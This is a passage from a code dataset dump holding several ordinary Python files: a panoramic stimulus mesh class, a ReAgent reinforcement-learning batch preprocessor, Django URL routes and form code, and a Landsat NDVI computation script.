self.pos_angles[0] + 180*(np.min(corners[:,0])) > 180:\n                self.pos_angles[0] = -180 - 180*(np.max(corners[:,0]))\n            elif self.pos_angles[0] + 180*(np.max(corners[:,0])) < -180:\n                self.pos_angles[0] = 180 -180*(np.min(corners[:,0]))\n        \n        if self.wrap[1]:\n            corners = self.get_tex_corners()\n            if self.pos_angles[1] + 180*(np.min(corners[:,1])) > 90:\n                self.pos_angles[1] = -90 - 180*(np.max(corners[:,1]))\n            elif self.pos_angles[1] + 180*(np.max(corners[:,1])) < -90:\n                self.pos_angles[1] = 90 -180*(np.min(corners[:,1]))\n        \n    def get_tex_corners(self):\n        corners = self.mesh[0,0], self.mesh[self.l,0],self.mesh[0,self.L], self.mesh[self.l,self.L]\n        scale = scale_matrix(self.size_ratio)[:3,:3]\n        rot = rotation_matrix(self.ori)[:3,:3] #3D vectors\n        corners = np.array([np.matmul(rot,np.matmul(scale,i)) for i in corners])\n        corners = corners[:,:2]\n        \n        #TODO: include stretch\n        # if self.stretch:\n            # corners += self.get_pos_uv()\n            # u_mid = (np.max(corners[:,0]) + np.min(corners[:,0]))/2\n            # y_elev = lambda x: float(abs(x))*2.0 *90\n            \n            # corners = np.array([np.array([(corners[i][0])* \\\n                        # self.stretching_factor(y_elev(corners[i][1])), \\\n                        # corners[i][1]]) for i in range(len(corners))])\n            # print(corners)\n            \n        return corners\n        \n    def get_pos_uv(self):\n        return (lon2u(self.pos_angles[0]), lat2v(self.pos_angles[1]))\n        \n    def get_stim(self):\n        vertices = np.dstack((self.mesh,self.colors, self.tex_coords)).flatten()\n        vertices = np.array(vertices, dtype = np.float32)\n        self.size_ratio = [float(self.expanded_size[i])/self.size[i] for i in range(2)]\n        return vertices, self.indices, self.mask, self.size_ratio, self.stretch\n    \n    def get_mesh(self):\n        return self.mesh\n        \n    def create_rect_mesh(self, l, L,  size=(1,1)):\n        #positions\n        x = np.tile(np.linspace(-size[0]/2,size[0]/2,l+1),(1,L+1))\n        x = np.reshape(x, (L+1,l+1))\n        y = np.tile(np.linspace(-size[1]/2,size[1]/2,L+1),(1,l+1))\n        y = np.reshape(y, (l+1,L+1)).T\n        mesh = np.dstack((x,y,np.zeros_like(x)))\n\n        indices = np.zeros((l*L*2*3),dtype=np.uint16)\n        for j in range(L):\n            for i in range(l):\n                indices[6*(i+l*j):6*(i+l*j)+3] = i+(l+1)*j,i+1+(l+1)*j,i+l+2+(l+1)*j\n                indices[6*(i+l*j)+3:6*(i+l*j)+6] = i+(l+1)*j,i+l+2+(l+1)*j,i+l+1+(l+1)*j\n        return mesh, indices\n    \n    def create_tex_coords(self, l, L):\n        u = np.tile(np.linspace(0,1,l+1),(1,L+1))\n        u = np.reshape(u, (L+1,l+1))\n        v = np.tile(np.linspace(0,1,L+1),(1,l+1))\n        v = np.reshape(v, (l+1,L+1)).T\n        tex_coords = np.dstack((u,v))\n        return tex_coords\n        \n    def stretch_mesh(self, mesh, stretch_factors):\n        '''Stretches the mesh along x axis, depending on y elevation \n        (we give stretch factors corresponding to those elevations).\n        Takes the mesh has a flat np array [x1 y1 z1 x2 ... zn] \n        and the stretch factors has an array of L+1 length'''\n        mesh = mesh.copy()\n        for i,line in enumerate(mesh):\n            for point in line:\n                point[0] = point[0]*stretch_factors[i]\n        return mesh\n\n    def stretching_factor(self,latitude):\n        '''Takes latitude in degrees and outputs the corresponding scaling factor'''\n        return (1./np.cos(1.*latitude/180. *np.pi))\n       \n    def create_colors(self, l, L, type = 'sine', tf = (0,0)):\n        t = self.timer\n        pix_factor = 252\n        dx, dy = [int(float(tf[i]*t)/self.size[i]*pix_factor) for i in range(2)] #conversion degrees/s to pixels\n        adapted_sf = [int(float(float(self.sizeUV[i]*self.mesh_size[i])/self.size[i]**2)/self.sfUV[i]) for i in range(2)]\n        if type == 'sine':\n            arr1 = sineArray(adapted_sf[0], dx, l+1)\n            arr2 = np.ones((L+1), dtype=np.float32)\n            colors = arraysToMatrix(arr1, arr2, ord('*'))\n        elif type == 'checkerboard':\n            arr1 = squareArray(adapted_sf[0], dx, l+1)\n            arr2 = squareArray(adapted_sf[1], dy, L+1)\n            colors = arraysToMatrix(arr1, arr2, ord('='))\n        elif type == 'black':\n            arr1 =  np.ones((l+1), dtype=np.float32)\n            arr2 =  np.zeros((L+1), dtype=np.float32)\n            colors = arraysToMatrix(arr1, arr2, ord('='))\n        elif type == 'white':\n            arr1 =  np.ones((l+1), dtype=np.float32)\n            arr2 =  np.ones((L+1), dtype=np.float32)\n            colors = arraysToMatrix(arr1, arr2, ord('='))\n        elif type == 'square':\n            arr1 =  squareArray(adapted_sf[0], dx, l+1)\n            arr2 =  np.ones((L+1), dtype=np.float32)\n            colors = arraysToMatrix(arr1, arr2, ord('='))\n        colors = np.reshape(np.repeat(colors,3),(L+1,l+1,3))\n        return colors\n        \n    def translate_colors(self):\n        colors = self.create_colors(self.l, self.L, type=self.type, tf = self.tf)\n        if self.flip:\n            flip_period = 1/self.flip\n            if self.timer%(2*flip_period) > flip_period:\n                colors = np.subtract(np.ones(colors.shape), colors)\n        return colors\n    \n    def get_stretching_factors(self):\n        elevations = np.array([0,90])\n        if self.stretch:\n            return self.stretching_factor(elevations)\n        else:\n            return np.ones_like(elevations)\n        \n    def toPano(self, xmap, ymap,  h = 720, size = None):\n        pass\n","sub_path":"code/python_code/draft_scripts/PanoStimGL.py","file_name":"PanoStimGL.py","file_ext":"py","file_size_in_byte":8479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"317164046","text":"#!/usr/bin/env python3\n# Copyright (c) Facebook, Inc. and its affiliates. All rights reserved.\n\"\"\"\nPreprocess a batch of transitions sampled from the ReplayBuffer for\nTrainer.train, which we expect accepts rlt.PreprocessedTrainingBatch.\n\"\"\"\n\nfrom typing import Any, Dict\n\nimport torch\nfrom reagent import types as rlt\nfrom reagent.gym.types import TrainerPreprocessor\nfrom reagent.parameters import NormalizationParameters\n\n\ndef parametric_dqn_trainer_preprocessor(\n    num_actions: int, state_normalization: Dict[int, NormalizationParameters]\n) -> TrainerPreprocessor:\n    def preprocess_batch(train_batch: Any) -> rlt.PreprocessedTrainingBatch:\n        obs, action, reward, next_obs, next_action, next_reward, terminal, idxs, possible_actions_mask, log_prob = (\n            train_batch\n        )\n        batch_size = obs.shape[0]\n\n        obs = torch.tensor(obs).squeeze(2)\n        action = torch.tensor(action).float()\n        next_obs = torch.tensor(next_obs).squeeze(2)\n        next_action = torch.tensor(next_action).to(torch.float32)\n        reward = torch.tensor(reward).unsqueeze(1)\n        not_terminal = 1 - torch.tensor(terminal).unsqueeze(1).to(torch.uint8)\n        possible_actions_mask = torch.ones_like(action).to(torch.bool)\n\n        tiled_next_state = torch.repeat_interleave(\n            next_obs, repeats=num_actions, axis=0\n        )\n        possible_next_actions = torch.eye(num_actions).repeat(batch_size, 1)\n        possible_next_actions_mask = not_terminal.repeat(1, num_actions).to(torch.bool)\n        return rlt.PreprocessedTrainingBatch(\n            rlt.PreprocessedParametricDqnInput(\n                state=rlt.PreprocessedFeatureVector(float_features=obs),\n                action=rlt.PreprocessedFeatureVector(float_features=action),\n                next_state=rlt.PreprocessedFeatureVector(float_features=next_obs),\n                next_action=rlt.PreprocessedFeatureVector(float_features=next_action),\n                possible_actions=None,\n                possible_actions_mask=possible_actions_mask,\n                possible_next_actions=rlt.PreprocessedFeatureVector(\n                    float_features=possible_next_actions\n                ),\n                possible_next_actions_mask=possible_next_actions_mask,\n                tiled_next_state=rlt.PreprocessedFeatureVector(\n                    float_features=tiled_next_state\n                ),\n                reward=reward,\n                not_terminal=not_terminal,\n                step=None,\n                time_diff=None,\n            ),\n            extras=rlt.ExtraData(),\n        )\n\n    return preprocess_batch\n\n\ndef sac_trainer_preprocessor() -> TrainerPreprocessor:\n    def preprocess_batch(train_batch: Any) -> rlt.PreprocessedTrainingBatch:\n        obs, action, reward, next_obs, next_action, next_reward, terminal, idxs, possible_actions_mask, log_prob = (\n            train_batch\n        )\n        obs = torch.tensor(obs).squeeze(2)\n        action = torch.tensor(action).float()\n        reward = torch.tensor(reward).unsqueeze(1)\n        next_obs = torch.tensor(next_obs).squeeze(2)\n        next_action = torch.tensor(next_action)\n        not_terinal = 1.0 - torch.tensor(terminal).unsqueeze(1).float()\n        idxs = torch.tensor(idxs)\n        possible_actions_mask = torch.tensor(possible_actions_mask).float()\n        log_prob = torch.tensor(log_prob)\n        return rlt.PreprocessedTrainingBatch(\n            training_input=rlt.PreprocessedPolicyNetworkInput(\n                state=rlt.PreprocessedFeatureVector(float_features=obs),\n                action=rlt.PreprocessedFeatureVector(float_features=action),\n                next_state=rlt.PreprocessedFeatureVector(float_features=next_obs),\n                next_action=rlt.PreprocessedFeatureVector(float_features=next_action),\n                reward=reward,\n                not_terminal=not_terinal,\n                step=None,\n                time_diff=None,\n            ),\n            extras=rlt.ExtraData(),\n        )\n\n    return preprocess_batch\n","sub_path":"reagent/gym/preprocessors/trainer_preprocessors/trainer_preprocessor.py","file_name":"trainer_preprocessor.py","file_ext":"py","file_size_in_byte":4009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"174520249","text":"from django.conf.urls import url\r\nfrom . import views\r\nurlpatterns=[\r\n    url(r'^$',views.index),\r\n    url(r'^submit/',views.index1,name='submit'),\r\n    url(r'^home/',views.index2,name='home'),\r\n    url(r'^home1/',views.index,name='home1'),\r\n    url(r'^submit1/',views.index4,name='submit1'),\r\n    url(r'^submit2/',views.index5,name='submit2'),\r\n    url(r'^submit3/',views.index6,name='submit3'),\r\n    url(r'^submit4/',views.index7,name='submit4'),\r\n    url(r'^submit5/',views.index8,name='submit5'),\r\n    url(r'^submit6/',views.index9,name='submit6'),\r\n    url(r'^submit7/',views.index10,name='submit7'),\r\n    url(r'^submit8/',views.index11,name='submit8')\r\n\r\n\r\n\r\n\r\n]","sub_path":"Sentimental/app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"625805661","text":"#!/usr/bin/env python\n#title           :tileToNDVI.py\n#description     :This script takes the landsat SR tiles in *tar.gz format and converts them to\n#                 1 band Normalized Difference Vegetation Index(NDVI) geotiffs. It uses \n#                 the qa_pixel band to mask out clouds.\n#author          :Alberto Guzman\n#date            :12-01-2017\n#version         :0.5\n#usage           :python tilesToNDVI.py inDir outDir --year\n#notes           :\n#python_version  :2.7  \n#=============================================================================\n\nimport sys,os,time\nimport tarfile\nimport shutil\nimport glob\nfrom optparse import OptionParser\nimport multiprocessing\n\nimport gdal\nimport numpy as np\nnp.warnings.filterwarnings('ignore')\n\nimport pyRasterUtils as rasUtils\nimport pySIMSUtils as simsUtils\n\ndef main():\n  t = time.time()\n  usage = \"usage: %prog [options] <inputDir> <outputDir> <pathRowList>\\n\"+\\\n          \"Converts landsat tiles to ndvi geotiffs\" \n  parser = simsUtils.simsOptions(usage) \n  opts,args=parser.parse_args()\n  if len(args)<3:\n      sys.exit(parser.print_help())\n\n  inDir = args[0]\n  outDir = args[1]\n  tmpDir = outDir + \"/tmp/\"\n  pathRowListFn = args[2]\n  yr = opts.year\n  overwrite = opts.overwrite\n  numProcesses = opts.numProcesses\n  testFiles = opts.testFiles \n\n  #Create output and tmp directory if they don't already exist\n  simsUtils.makeDirs(outDir)\n\n  #Read the paths and rows from the input file\n  pathsRows = simsUtils.readPathRowList(pathRowListFn)\n\n  #List to hold jobs for multicore\n  jobList = []\n  manager = multiprocessing.Manager()\n  returnDict = manager.dict()\n  idNum = 0\n  \n\n  for pr in pathsRows:\n    path,row = pr.rstrip().split(',')\n\n    #Get the list of files to process\n    gzFileList = simsUtils.getFileList(inDir,path,row,yr,\".tar.gz\",testFiles)   \n\n    if gzFileList is None:\n      continue\n\n    for gzFn in gzFileList:\n      #Base the output file name on input\n      baseName = os.path.basename(gzFn).replace('.tar.gz','')\n      outFn = \"%s/%s_ndvi.tif\" % (outDir,baseName)\n      tileTmpDir = \"%s/%s/\" % (tmpDir,baseName)\n\n      if overwrite is False:\n        if os.path.exists(outFn) is True:\n          print(\"Output file %s exists and overwrite is off, skipping...\" % outFn)\n          continue\n      \n      #Add this tile to the jobs list, but don't start jobs yet\n      jobList.append((gzFn,outFn,baseName,tileTmpDir,returnDict,idNum))\n      idNum += 1\n\n  #Now start the jobs\n\n  toPros = []\n  print(\"Need to process %d tiles\" % len(jobList))\n  for j in jobList:\n    toPros.append(j)\n    if len(toPros) >= numProcesses:\n      processList(toPros)\n      toPros = []\n\n  #Any leftovers?\n  processList(toPros)\n\n  if len(returnDict.values()) > 0:\n    print(\"Errors while trying to process files below\")\n    print(returnDict.values())\n\n  print(\"Done tilesToNdvi.py, output directory %s\" % outDir)\n  print(\"%s minutes to complete\" % ((time.time() - t)/60))\n\n  sys.exit(0)\n\n#end of main\n  \ndef processList(jobList):\n    jobs = []\n    for j in jobList:\n       p = multiprocessing.Process(target=processTile,args=j)\n       jobs.append(p)\n       p.start()\n\n    for k in jobs:\n       k.join()\n\ndef processTile(gzFn,outFn,baseName,tileTmpDir,returnDict,idNum):\n try:\n\n   #We need to untar the file and place it in the tmp folder for processing\n   untarFiles(gzFn,tileTmpDir)\n     \n   #now we take the red and near-infrared bands to calculate NDVI\n   #https://landsat.usgs.gov/what-are-band-designations-landsat-satellites\n   if baseName[3] == '8': #Landsat 8\n      #Add error messages to say that we need surface reflectances\n      cloudMaskFn = glob.glob((\"%s/*pixel_qa.tif\" % tileTmpDir))[0]\n      redBandFn = glob.glob((\"%s/*sr_band4.tif\" % tileTmpDir))[0]\n      nirBandFn = glob.glob((\"%s/*sr_band5.tif\" % tileTmpDir))[0]\n      ndvi = calculateNDVI(redBandFn,nirBandFn,cloudMaskFn)\n   else:  #Landsat 5 and 7\n      cloudMaskFn = glob.glob((\"%s/*pixel_qa.tif\" % tileTmpDir))[0]\n      redBandFn = glob.glob((\"%s/*sr_band3.tif\" % tileTmpDir))[0]\n      nirBandFn = glob.glob((\"%s/*sr_band4.tif\" % tileTmpDir))[0]\n      ndvi = calculateNDVI(redBandFn,nirBandFn,cloudMaskFn,-9999.0,False)\n  \n   #We want to save the NDVI raster in LAEA projection\n   #First we're going to use the redBand file as a template.\n   #Then we take that file and reproject.\n   outTmp = outFn.replace('_ndvi.tif','_ndvi_tmp.tif')\n   rasUtils.out2Tif(redBandFn,outTmp,ndvi)   \n        \n   print(\"Saving output to %s\" % outFn)\n   rasUtils.reprojectRasterWarp(outTmp,outFn)  \n\n   #remove temp files and directories\n   os.remove(outTmp)\n   shutil.rmtree(tileTmpDir)\n \n except (RuntimeError, TypeError, NameError):\n   print(\"Error calculating NDVI for input file %s\" % outFn)\n   returnDict[idNum] = outFn\n   return None\n except IndexError:\n   print(\"Index Error: This most likely happened because the program could not find the right\")\n   print(\"             Landsat bands to calculate NDVI. Make sure that you're using the\")\n   print(\"             Surface Reflectance product.\")\n   returnDict[idNum] = outFn\n except MemoryError:\n   print(\"Memory Error: Make sure that you're using the 64bit version of Python\")\n   returnDict[idNum] = outFn\n   return None\n\n return True\n\ndef untarFiles(gzFn,tileTmpDir):\n   print(\"Extracting %s to %s\" % (gzFn,tileTmpDir) )\n   tar = tarfile.open(gzFn)\n   tar.extractall(tileTmpDir)\n   tar.close()\n\n   return True\n\ndef calculateNDVI(redBandFn,nirBandFn,cloudMaskFn,nodata=-9999.0,sensorL8=True):\n   #Got the scale factors from https://landsat.usgs.gov/sites/default/files/documents/lasrc_product_guide.pdf\n   #Check the *.MTL file for the scale factor and how to fix in code or get updated data\n   scaleFactor = 0.0001\n   nodataWithFact = nodata * scaleFactor \n        \n   #Lets read in the data from the files\n   redBand = rasUtils.openRaster(redBandFn) * scaleFactor\n   nirBand = rasUtils.openRaster(nirBandFn) * scaleFactor\n   cloudMask = rasUtils.openRaster(cloudMaskFn)\n\n   #We're only using clear pixels\n   #  L8 Clear 322, 386, 834, 898, 1346 from page 21 of product guide above \n   if sensorL8 == True:\n     cloudMask = np.where((cloudMask == 322) | (cloudMask == 386) |\n                          (cloudMask == 834) | (cloudMask == 898) |\n                          (cloudMask == 1346),1,0)\n   else: #L5 or L7\n     #66, 130 are clear\n     cloudMask = np.where((cloudMask == 66) | (cloudMask == 130),1,0)\n\n   #calculate ndvi\n   ndvi = np.where((nirBand != nodataWithFact) & (cloudMask == 1),\n                   (nirBand-redBand)/(nirBand+redBand),nodata)\n   ndvi = np.clip(ndvi,nodata,1.0)\n   \n   return ndvi\n  \nif __name__ == '__main__':\n   main()\n","sub_path":"code/tilesToNDVI.py","file_name":"tilesToNDVI.py","file_ext":"py","file_size_in_byte":6612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"18810215","text":"import re\nfrom django.forms import Form,  ModelForm, CharField, ChoiceField\n#from .models.ModelDescriptor import ModelDescriptor\nfrom .models.FluxRepresentation import FluxRepresentation\nfrom .models.Fluxes import Fluxes\nfrom .models.Matrices import Matrices\nfrom .fields import DOIField ,PUB_DATEField, FluxesField,StateVectorField\nfrom django.forms import URLField , DateField, CharField \nfrom django.utils.html import conditional_escape #, html_safe\nfrom django.utils.safestring import mark_safe\nfrom datetime import datetime\nfrom CompartmentalSystems.smooth_reservoir_model import SmoothReservoirModel\nfrom testinfrastructure.helpers import pe,pp\nimport json\nfrom sympy import sympify,Matrix,Symbol\n\n\n\nclass ModelDescriptorForm(Form):\n    error_css_class='error'\n    required_css_class='required'\n    # Usually  a form is described by a static class definition.\n    # This form is different from predefined forms since it can actually\n    # add fields dynamically depending on the data in the database or request.\n\n    # E.g. Statevariable descriptions do not make sense if the statevector has not been defined yet \n    # (an hence the names of the statevariables are not known)\n    # The fluxes field does not make sense if the component scheme is set to matrix...\n\n    # There are various possibilities to deal with this situation. \n    # We could use different forms for parts of the model description \n    # or djangos formsets for repeated subforms.\n\n    # There is however only ONE HTML form in our template \n    # (since we want only ONE submit button for the form)\n    # Therefore the most transparent solution is to reflect this fact on the\n    # python side by one Form Class with a dynamic set of fields.\\\n\n    # Again there are different ways to achieve this \n    # We choose the simplest approach and define our own init method to \n    # listen to the data we recieve.\n    # We use the fact that the fields are implemented as a dictionary\n    fluxesKey='fluxes'\n    fluxRepKey='fluxrepresentation'\n    stateVectorKey=\"statevector\"\n    timeSymbolKey=\"timesymbol\"\n    \n    #stateVarNameKey=stateVarKey+\"_name_\"\n    #stateVarNamePattern=stateVarNameKey+'.*'\n    stateVarKey=\"statevariable\"\n    stateVarDescPrefix=stateVarKey+\"_description_\"\n    stateVarDescPattern=stateVarDescPrefix+'.*'\n\n    additionalVarKey=\"additional_variable\"\n    additionalVarDescPrefix=additionalVarKey+\"_description_\"\n    additionalVarDescPattern=additionalVarDescPrefix+'.*'\n\n    funcKey=\"function\"\n    funcDescPrefix=funcKey+\"_description_\"\n    funcDescPattern=funcDescPrefix+'.*'\n   \n\n    # since Form uses a Django Metaclass that \n    # recognizes class variables that are instances of Field\n    # we can just list the static fields here. They will\n    # automatically end up in the internal fields property of every\n    # instance.\n    #doi = DOIField(\n    #doi = URLField(\n\t#initial=\"http://doi.org/\",\n    # \tmax_length=200,\n    #    #required=False,\n    #    help_text='The dio of the original publication. It will be used to download bibliographic information including the abstract. If you provide this information yourself it will be used instead.', \n    #)\n    #pub_date = PUB_DATEField(\n\t#    initial=datetime.now(),\n    #    help_text='The date when this record was first created.'\n    #)\n\n    statevector=StateVectorField(\n            help_text=\"\"\"Ordered, comma separated  list of state variables, e.g. C_1,C_2,C_3 , that form the state vector. \n            The content of this field will also influence the list of  state variables,  the flux sources and targets further down.\"\"\"\n    )\n    timesymbol=CharField(\n            initial=\"t\",\n            help_text='the symbol used to represent time'\n\n    )\n    class Media:\n        css={\n            'all':(\n                'admin/css/forms.css',\n                'admin/css/base.css',\n                'admin/css/widgets.css',\n                )\n            }\n        js=[\n                \"admin/js/core.js\", # this is needed for the calendar\n                #but somehow not mentioned in the widgets Media class\n                ]\n\n    #######################################################################\n    # we have to adapt our init method since we want the set of fields to be displayed\n    # to depend on the data the instance is initialized with.\n    def __init__(self,*args,**kwargs):\n        super().__init__(*args,**kwargs)\n        cls=self.__class__\n        mycopy=dict()\n        if len(args)>0:\n            data=args[0]\n            mycopy.update(data)\n\n        if \"initial\" in kwargs.keys():\n            print('initial')\n            initial=kwargs['initial']\n            mycopy.update(initial)\n\n        d_keys=mycopy.keys()\n        \n        #stvNames=[ k.replace(cls.stateVarDescPrefix,\"\")  for k in d_keys if re.match(cls.stateVarDescPattern,k)]\n        stvNames=cls.present_state_var_names(d_keys)\n        #print(\"##########################################\")\n        #print('mycopy')\n        #print(mycopy)\n        #print('stvName')\n        #print(stvNames)\n        for name in stvNames:\n            descField=CharField(\n                required=False,\n                help_text='A short description of the variable.',\n                label=\"State variable {0} Description\".format(name)\n            )\n            self.fields[cls.stateVarDescPrefix+name]= descField\n\n        if cls.fluxRepKey in d_keys:\n            subClassDict=FluxRepresentation.get_subclassDict()\n            subClassNames=subClassDict.keys()\n            field=ChoiceField(\n                    choices=[(name,name) for name in subClassNames]\n                    ,\n                    required=False\n            )\n            self.fields[cls.fluxRepKey]= field\n            self.fields[cls.fluxesKey]= FluxesField(\n                initial={\n                    FluxesField.names_key:stvNames\n                    ,\n                    FluxesField.in_fluxes_key:[]\n                    ,\n                    FluxesField.internal_fluxes_key:[]\n                    ,\n                    FluxesField.out_fluxes_key:[]\n                }\n                # example structure\n                #initial={\n                #    FluxesField.names_key:['x','y','z']\n                #    ,\n                #    FluxesField.in_fluxes_key:[\n                #        {FluxesField.target_key:\"y\",FluxesField.expression_key:\"x**3\"}\n                #       #,{FluxesField.target_key:\"z\",FluxesField.expression_key:\"y**3\"}\n                #    ]\n                #    ,\n                #    FluxesField.internal_fluxes_key:[\n                #        {FluxesField.source_key:\"x\", FluxesField.target_key:\"y\",FluxesField.expression_key:\"x**3\"}\n                #        # ,{FluxesField.source_key:\"y\", FluxesField.target_key:\"z\",FluxesField.expression_key:\"y**3\"}\n                #    ]\n                #    ,\n                #    FluxesField.out_fluxes_key:[\n                #        {FluxesField.source_key:\"x\",FluxesField.expression_key:\"x\"}\n                #       #,{FluxesField.source_key:\"y\",FluxesField.expression_key:\"y\"}\n                #    ]\n                #}\n                ,help_text=\"the target option will change when you change the source\"\n                ,required=False\n                ) \n\n        for name in cls.present_additional_var_names(d_keys):\n            descField=CharField(\n                required=False,\n                help_text='A short description of the variable.',\n                label=\"{0} Description\".format(name)\n            )\n            self.fields[cls.additionalVarDescPrefix+name]= descField\n\n        for name in cls.present_func_names(d_keys):\n            descField=CharField(\n                required=False,\n                help_text='A short description of the function.',\n                label=\"{0} Description\".format(name)\n            )\n            self.fields[cls.funcDescPrefix+name+'(...)']= descField\n\n    \n        \n    \n############################################# new (not overloaded) mothods    \n    @ classmethod\n    def descKey(cls,var_name):\n        return cls.stateVarDescPrefix+var_name\n    @classmethod\n    def present_state_var_names(cls,keys):\n        stvNames=[ k.replace(cls.stateVarDescPrefix,\"\")  for k in keys if re.match(cls.stateVarDescPattern,k)]\n        return stvNames\n\n    @ classmethod\n    def additionalVarDescKey(cls,var_name):\n        field_name=cls.additionalVarDescPrefix+var_name\n        return field_name\n\n    @classmethod\n    def present_additional_var_names(cls,keys):\n        Names=[ k.replace(cls.additionalVarDescPrefix,\"\")  for k in keys if re.match(cls.additionalVarDescPattern,k)]\n        return Names\n    \n    @ classmethod\n    def funcDescKey(cls,var_name):\n        field_name=cls.funcDescPrefix+var_name\n        return field_name\n\n    @classmethod\n    def present_func_names(cls,keys):\n        Names=[ k.replace(cls.funcDescPrefix,\"\")  for k in keys if re.match(cls.funcDescPattern,k)]\n        return Names\n\n    @classmethod\n    def update_state_var_keys(cls,cd):\n        ks=cd.keys()\n        k=cls.stateVectorKey\n        if k in ks:\n            #varliststring=cd[k]\n            #var_names=var_names_from_state_vector_string(varliststring)\n            #sym=sympify(cd[k])\n            #if isinstance(sym,tuple):\n            #    symtup=sym\n            #elif isinstance(sym,Symbol):    \n            #    symtup=(sym,)\n            #var_names=[n for n in map(str,symtup)]\n            var_names=cd[k]\n            \n            #now check which of the required description fields for the statevariables are already\n            #present\n            pvn=cls.stateVarDescPattern\n            stvNames=[ k.replace(cls.stateVarDescPrefix,\"\")  for k in ks if re.match(cls.stateVarDescPattern,k)]\n            StateVector_var_name_set=set(var_names)\n            present_var_name_set=set(stvNames)\n\n            if StateVector_var_name_set!=present_var_name_set:\n                # add description fields for all the variables \n                # present in the state vector\n                for var_name in StateVector_var_name_set.difference(present_var_name_set):\n                    cd.update({cls.descKey(var_name):None})\n                \n                # delete description fields for all the variables \n                # NOT present in the state vector\n                for var_name in present_var_name_set.difference(StateVector_var_name_set):\n                    cd.pop(cls.descKey(var_name))\n        return(cd)\n\n\n    @classmethod\n    def update_external_func_keys(cls,cd):\n        rm=cls.srm(cd)\n        # find the yet additional variables to\n\n        fs=rm.function_expressions\n        func_names=[fn for fn in map(lambda f:str(type(f)),fs)]\n\n        ks=cd.keys()\n        pfn=cls.present_func_names(ks)\n        \n        if pfn!=func_names:\n            # add description fields for all additiona variables \n            # present in any expression\n            for var_name in set(func_names).difference(pfn):\n                cd.update({cls.funcDescKey(var_name):None})\n            \n\n            # delete description fields for all the variables \n            # NOT present in any expression\n            del_names=set(pfn).difference(func_names)\n            for var_name in del_names :\n                cd.pop(cls.funcDescKey(var_name))\n        return cd\n\n    \n    @classmethod\n    def srm(cls,cd):\n        fluxes=cd[cls.fluxesKey]\n        #pe('fluxes',locals())\n        names=fluxes[FluxesField.names_key]\n        outF=fluxes[FluxesField.out_fluxes_key]\n        intF=fluxes[FluxesField.internal_fluxes_key]\n        # fixme mm 20.10.2018:\n        # the following code is duplicated in the form \n        # it probably wants to live in the to_python method of \n        # the Field\n        #varliststring=cd[cls.stateVectorKey]\n        #sym=sympify(varliststring)\n        #if isinstance(sym,tuple):\n        #    symtup=sym\n        #elif isinstance(sym,Symbol):    \n        #    symtup=(sym,)\n        #state_var_tupel=symtup\n        state_var_tupel=sympify(tuple(cd[cls.stateVectorKey]))\n        #pe('state_var_tupel',locals())\n\n        time_symbol=sympify(cd[cls.timeSymbolKey])\n        #pe('time_symbol',locals())\n        \n        inSym={sympify(flux[FluxesField.target_key]):sympify(flux[FluxesField.expression_key]) for flux in fluxes[FluxesField.in_fluxes_key]}\n        outSym={sympify(flux[FluxesField.source_key]):sympify(flux[FluxesField.expression_key]) for flux in fluxes[FluxesField.out_fluxes_key]}\n        internalSym={(sympify(flux[FluxesField.source_key]),sympify(flux[FluxesField.target_key])):sympify(flux[FluxesField.expression_key]) for flux in fluxes[FluxesField.internal_fluxes_key]}\n\n        rm = SmoothReservoirModel.from_state_variable_indexed_fluxes(list(state_var_tupel), time_symbol, inSym, outSym, internalSym)\n        return(rm)\n\n\n    @classmethod\n    def update_fluxes_dict(cls,cd):\n        # when the state vector changes\n        # we have to update the fluxes field since\n        # the state variables represent the possible \n        # targets for the fluxes\n\n        # If we add new statevariables we also gain \n        # possible flux targets so the FluxesField.names_key field \n        # of the fluxesField has to be extended to \n        # add the new choices to the select fields \n\n        # If we remove a statevariable we will not \n        # only have to remove \n\n        fd=cd[cls.fluxesKey]\n        names=fd[FluxesField.names_key]\n        stvNames=cd[cls.stateVectorKey]\n        not_in_stv=set(names).difference(stvNames)\n        new_fd=FluxesField.remove_pools(not_in_stv,fd)\n        \n        not_in_names=set(stvNames).difference(names)\n        new_fd=FluxesField.add_pools(not_in_names,new_fd)\n\n        cd[cls.fluxesKey]=new_fd\n        return cd\n\n    @classmethod\n    def update_additional_var_keys(cls,cd):\n        rm=cls.srm(cd)\n        # find the yet additional variables to\n        fs=rm.free_symbols\n        state_var_tupel=tuple(rm.state_vector)\n        additional=fs.difference(state_var_tupel).difference([rm.time_symbol])\n        additional_names=[n for n in map(str,additional)]\n        #pe('additional_names',locals())\n        \n        ks=cd.keys()\n        pavn=cls.present_additional_var_names(ks)\n        #pe('pavn',locals())\n        \n        if pavn!=additional_names:\n            # add description fields for all additiona variables \n            # present in any expression\n            for var_name in set(additional_names).difference(pavn):\n                cd.update({cls.additionalVarDescKey(var_name):None})\n            \n\n            # delete description fields for all the variables \n            # NOT present in any expression\n            del_names=set(pavn).difference(additional_names)\n            #pe('del_names',locals())\n            for var_name in del_names :\n                cd.pop(cls.additionalVarDescKey(var_name))\n        return cd\n\n    def extended_instance(self):\n        pe('self.has_changed()',locals())\n        cls=self.__class__\n        cd=self.cleaned_data \n\n        # we add new key:initialValue pairs to the data dict\n        # based on the data already available\n        # and remove some that are no longer valid (e.g. in case a variable is removed from the statevector \n        # it will also be removed from the list of state variables and the possible targets and sources in the \n        # fluxes field.\n\n        # The adaptive form class will add the required fields when it receives\n        # this extended data dict\n        ks=cd.keys()\n        k=cls.stateVectorKey\n        if k in ks:\n            cd=cls.update_state_var_keys(cd) \n            #varliststring=cd[k]\n\n            k=cls.fluxRepKey\n            if not (k in ks):\n                cd.update({k:None})\n\n            if cls.fluxesKey in ks:\n                cd=cls.update_fluxes_dict(cd)\n                cd=cls.update_external_func_keys(cd)\n                cd=cls.update_additional_var_keys(cd)\n\n        # we return a new instance\n        return cls(initial=cd),cd\n\n    def _html_output(self, normal_row, error_row, row_ender, help_text_html, errors_on_separate_row):\n        \"Output HTML. Used by as_table(), as_ul(), as_p().\"\n        top_errors = self.non_field_errors()  # Errors that should be displayed above all fields.\n        output, hidden_fields = [], []\n        def per_field():\n            html_class_attr = ''\n            bf = self[name]\n            bf_errors = self.error_class(bf.errors)\n            if bf.is_hidden:\n                if bf_errors:\n                    